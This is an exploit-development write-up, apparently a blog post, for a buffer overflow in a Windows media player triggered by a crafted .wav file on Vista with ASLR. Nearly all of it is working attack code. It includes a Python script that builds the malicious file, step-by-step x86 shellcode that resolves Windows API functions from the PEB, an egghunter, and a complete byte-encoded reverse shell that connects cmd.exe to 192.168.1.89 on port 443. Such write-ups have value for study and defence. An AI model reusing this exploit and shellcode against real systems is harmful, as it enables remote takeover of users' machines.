The original exploit is based on Windows XP SP3. This post is focused on Windows Vista with ASLR enabled.
The part of fuzz and badchar detecting is the same as the previous post .
return address
We cannot use winmm.dll
any more like the original exploit used. Though there’s a JMP ESP
related address in winmm.dll
:
But this time winmm.dll
is ASLR enabled.
Here we use 0x639df5a1
in vorbis.dll
.
exploit.py 1 2 3 4 5 6 7 8 payload="A" *4112 payload+="\xa1\xf5\x9d\x63" payload+="\xcc" *(6000 -4 -4112 ) with open("exploit.wav" , "w" ) as fp: fp.write(payload)
But I find this address is not very stable. Sometimes the program just crashes.
shellcode Since the program is running under Windows Vista, we cannot hardcode the addresses (like LoadLibraryA
and CreateProcessA
). Here we try to find them manually from PEB
.
Steps to get a reverse shell:
PEB
PEB 1 2 3 4 5 6 7 8 9 10 xor ecx, ecx mov ebx, fs:[ecx + 0x30] ; pointer to PEB mov ebx, [ebx + 0xc] ; pointer to PEB_LDR_DATA mov esi, [ebx + 0x14] ; pointer to first entry in InMemoryOrderModuleList lodsd ; ntdll.dll xchg eax, esi lodsd ; kernel32.dll mov ebx, [eax+0x10] ; kernel32.dll base address # register: # ebx 0x76690000
kernel32.dll
base addresskernel32.dll export table 1 2 3 4 5 6 7 8 9 10 mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew add edx, ebx ; EDX = PE Header mov edx, [edx + 0x78] ; EDX = Offset export table add edx, ebx ; EDX = Export table mov esi, [edx + 0x20] ; ESI = Offset names table add esi, ebx ; ESI = Names table # register: # edx 0x7674d0a0 # ebx 0x76690000 # esi 0x7674e3a4
GetProcAddress
addressGet_Function 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Get_Function: inc ecx ; Increment the ordinal lodsd ; Get name offset add eax, ebx ; Get function name cmp dword ptr[eax], 0x50746547 ; "GetP" jnz Get_Function cmp dword ptr[eax + 0x4], 0x41636f72 ; "rocA" jnz Get_Function cmp dword ptr[eax + 0x8], 0x65726464 ; "ddre" jnz Get_Function # result: # eax 0x76752b34 ASCII "GetProcAddress" # ecx 0x221 # edx 0x7674d0a0 # ebx 0x76690000 kernel32.dll base address
GetProcAddress 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mov esi, [edx + 0x24] ; ESI = Offset ordinals add esi, ebx ; ESI = Ordinals table mov cx, [esi + ecx * 2] ; CX = Number of function dec ecx mov esi, [edx + 0x1c] ; ESI = Offset address table add esi, ebx ; ESI = Address table mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) add edx, ebx ; EDX = GetProcAddress mov esi, edx ; store kernel32.GetProcAddress # register: # eax 0x76752b34 ASCII "GetProcAddress" # ecx 0x221 # edx 0x766d4120 kernel32.GetProcAddress # ebx 0x76690000 kernel32 base address # esi 0x766d4120 kernel32.GetProcAddress
GetProcAddress
kernel32.dll
LoadLibraryA
LoadLibraryA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 xor ecx, ecx push ecx ; "\0\0\0\0" push 0x41797261 ; "aryA" push 0x7262694c ; "Libr" push 0x64616f4c ; "Load" push esp ; "LoadLibraryA" push ebx ; Kernel32 base address call edx ; GetProcAddress mov edi, ebx ; store kernel32.LoadLibraryA # register: # eax 0x766b9a9e kernel32.LoadLibraryA # ebx 0x76690000 kernel32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
LoadLibraryA
WS2_32.dll
LoadLibraryA WS2_32.dll 1 2 3 4 5 6 7 8 9 10 11 12 xor edx, edx mov dx, 0x3233 ; "\0\023" push edx push 0x5f327377 ; "_2SW" push esp call eax mov ebx, eax ; store eax # register: # eax 0x77550000 WS2_32.dll base address # ebx 0x77550000 WS2_32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
GetProcAddress
WS2_32.dll
WSAStartup
GetProcAddress WS2_32.dll WSAStartup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 xor ecx, ecx mov cx, 0x7075 ; "\0\0pu" push ecx push 0x74726174 ; "trat" push 0x53415357 ; "SASW" push esp push eax ; WS2_32.dll base address mov eax, esi call eax # register: # eax 0x77557372 WS2_32.WSAStartup # ebx 0x77550000 WS2_32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
WSAStartup
WSAStartup 1 2 3 4 5 6 7 8 9 10 11 12 add esp, 0xfffffe70 push esp # push 0x202 xor ecx, ecx mov cx, 0x0202 push ecx call eax # register: # eax 0x0 # ebx 0x77550000 WS2_32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
GetProcAddress
WS2_32.dll
WSASocketA
GetProcAddress WS2_32.dll WSASocketA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 xor ecx, ecx mov cx, 0x4174 ; "\0\0At" push ecx push 0x656b636f ; "ekco" push 0x53415357 ; "SASW" push esp push ebx mov eax, esi call eax # register: # eax 0x7755c2a4 WS2_32.WSASocketA # ebx 0x77550000 WS2_32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
WSASocketA
WSASocketA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 xor ecx, ecx push ecx ; dwFlags push ecx ; g push ecx ; lpProtocolInfo push 0x6 ; protocol=IPPROTO_TCP push 0x1 ; type=SOCK_STREAM push 0x2 ; af=AF_INET call eax push eax ; store WSASocket() handler # register: # eax 0x36C WSASocket() handler # ebx 0x77550000 WS2_32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
GetProcAddress
WS2_32.dll
connect
GetProcessAddress WS2_32.dll connect 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 xor ecx, ecx # push 0x00746365 ; "\0tce" mov ecx, 0x74636511 shr ecx, 0x8 push ecx push 0x6e6e6f63 ; "nnoc" push esp push ebx mov eax, esi call eax # register: # eax 0x77554ba7 WS2_32.connect # ebx 0x77550000 WS2_32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address # stack: # 0342FD08 6E6E6F63 conn # 0342FD0C 00746365 ect. # 0342FD10 0000036C l..
connect
connect 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mov edx, [esp+0x8] ; WSASocket() handler push 0x5901a8c0 ; ip address, 192.168.1.89 mov ecx, 0xbb010102 ; port, 443 dec ch ; port 443 push ecx xor ecx, ecx mov cl, 0x10 push ecx lea ecx, [esp+0x4] ; sockaddr pointer push ecx push edx call eax # register: # eax 0x0 # ebx 0x77550000 WS2_32.dll base address # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
more space But as shown in the screenshot below, there are not enough spaces (299 bytes) to fill in the remaining reverse shell shellcode.
Reserving a 600 bytes space for the reverse shell shellcode is fine.
egghunter
Use an egghunter code snippet to search for our reverse shell shellcode which is stored elsewhere.
Use mona
to generate the egghunter with the egg w00t
:
After the search finishes, EDI
points to 0x0344fd49
.
After JMP EDI
, EIP
will point to the 600 bytes space, where the shellcode is located at.
GetProcAddress
kernel32.dll
CreateProcessA
GetProcAddress kernel32.dll CreateProcessA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 xor ecx, ecx # push 0x00004173 ; "\0\0As" mov cx, 0x4173 push ecx push 0x7365636f ; "seco" push 0x72506574 ; "rPet" push 0x61657243 ; "aerC" push esp push edi mov eax, esi call eax # register: # eax 0x76691d5c kernel32.CreateProcessA # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address push esi ; store kernel32.GetProcAddress, better way? push edi ; store kernel32.dll base address, better way?
CreateProcessA
CreateProcessA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 mov edi, [esp+0x28] ; WSASocket() handler mov ecx, 0x646d6311 shr ecx, 0x8 push ecx ; "\0dmc" mov edx, esp ; lpCommandLine xor ecx, ecx sub esp, 0x10 mov ebx, esp ; PROCESS_INFORMATION push edi push edi push edi push ecx push ecx mov cx, 0x0101 push ecx xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx add cl, 0x2c push ecx mov ecx, esp ; STARTUPINFOA pointer push ebx ; lpProcessInformation push ecx ; lpStartupInfo xor ecx, ecx push ecx ; lpCurrentDirectory push ecx ; lpEnvironment push ecx ; dwCreationFlags inc ecx push ecx ; bInheritHandles xor ecx, ecx push ecx ; lpThreadAttributes push ecx ; lpProcessAttributes push edx ; lpCommandLine push ecx ; lpApplicationName call eax mov edi, [esp+0x58] ; restore kernel32.dll base address, better way? mov esi, [esp+0x5c] ; restore kernel32.GetProcAddress, better way? # register: # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
GetProcAddress
kernel32.dll
ExitProcess
GetProcAddress kernel32.dll ExitProcess 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 xor ecx, ecx # push 0x00737365 ; "sse" mov ecx, 0x73736511 shr ecx, 0x8 push ecx push 0x636f7250 ; "corP" push 0x74697845 ; "tixE" push esp push edi mov eax, esi call eax # register: # eax 0x766cd85e kernel32.ExitProcess # esi 0x766d4120 kernel32.GetProcAddress # edi 0x76690000 kernel32.dll base address
ExitProcess
ExitProcess 1 2 3 xor ecx, ecx push ecx call eax
exploit.py exploit.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 egghunter="\x81\xc4\xa8\xfd\xff\xff\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" shellcode="\x77\x30\x30\x74\x77\x30\x30\x74\x33\xC9\x64\x8B\x59\x30\x8B\x5B\x0C\x8B\x73\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x89\xD6\x33\xC9\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x89\xDF\x33\xD2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xFF\xD0\x8B\xD8\x33\xC9\x66\xB9\x75\x70\x51\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x8B\xC6\xFF\xD0\x81\xC4\x70\xFE\xFF\xFF\x54\x33\xC9\x66\xB9\x02\x02\x51\xFF\xD0\x33\xC9\x66\xB9\x74\x41\x51\x68\x6F\x63\x6B\x65\x68\x57\x53\x41\x53\x54\x53\x8B\xC6\xFF\xD0\x33\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x50\x33\xC9\xB9\x11\x65\x63\x74\xC1\xE9\x08\x51\x68\x63\x6F\x6E\x6E\x54\x53\x8B\xC6\xFF\xD0\x8B\x54\x24\x08\x68\xC0\xA8\x01\x59\xB9\x02\x01\x01\xBB\xFE\xCD\x51\x33\xC9\xB1\x10\x51\x8D\x4C\x24\x04\x51\x52\xFF\xD0\x33\xC9\x66\xB9\x73\x41\x51\x68\x6F\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x57\x8B\xC6\xFF\xD0\x56\x57\x8B\x7C\x24\x28\xB9\x11\x63\x6D\x64\xC1\xE9\x08\x51\x8B\xD4\x33\xC9\x83\xEC\x10\x8B\xDC\x57\x57\x57\x51\x51\x66\xB9\x01\x01\x51\x33\xC9\x51\x51\x51\x51\x51\x51\x51\x51\x51\x51\x80\xC1\x2C\x51\x8B\xCC\x53\x51\x33\xC9\x51\x51\x51\x41\x51\x33\xC9\x51\x51\x52\x51\xFF\xD0\x8B\x7C\x24\x58\x8B\x74\x24\x5C\x33\xC9\xB9\x11\x65\x73\x73\xC1\xE9\x08\x51\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\x8B\xC6\xFF\xD0\x33\xC9\x51\xFF\xD0" payload="A" *(4112 -len(shellcode))+shellcode payload+="\xa1\xf5\x9d\x63" payload+=egghunter payload+="\xcc" *(6000 -4 -4112 -len(egghunter)) with open("exploit.wav" , "w" ) as fp: fp.write(payload)
proof
This reverse shell is 399 bytes, and it also works on Windows 7 (or later?) without DEP and AV enabled. Also msfvenom
can be used to generate a 351 bytes reverse shell with x86/shikata_ga_nai
encoder.
There’s no need to implement a 2-staged shellcode if the length of the shellcode is less than 299 bytes. For example, just to spawn a cmd.exe
: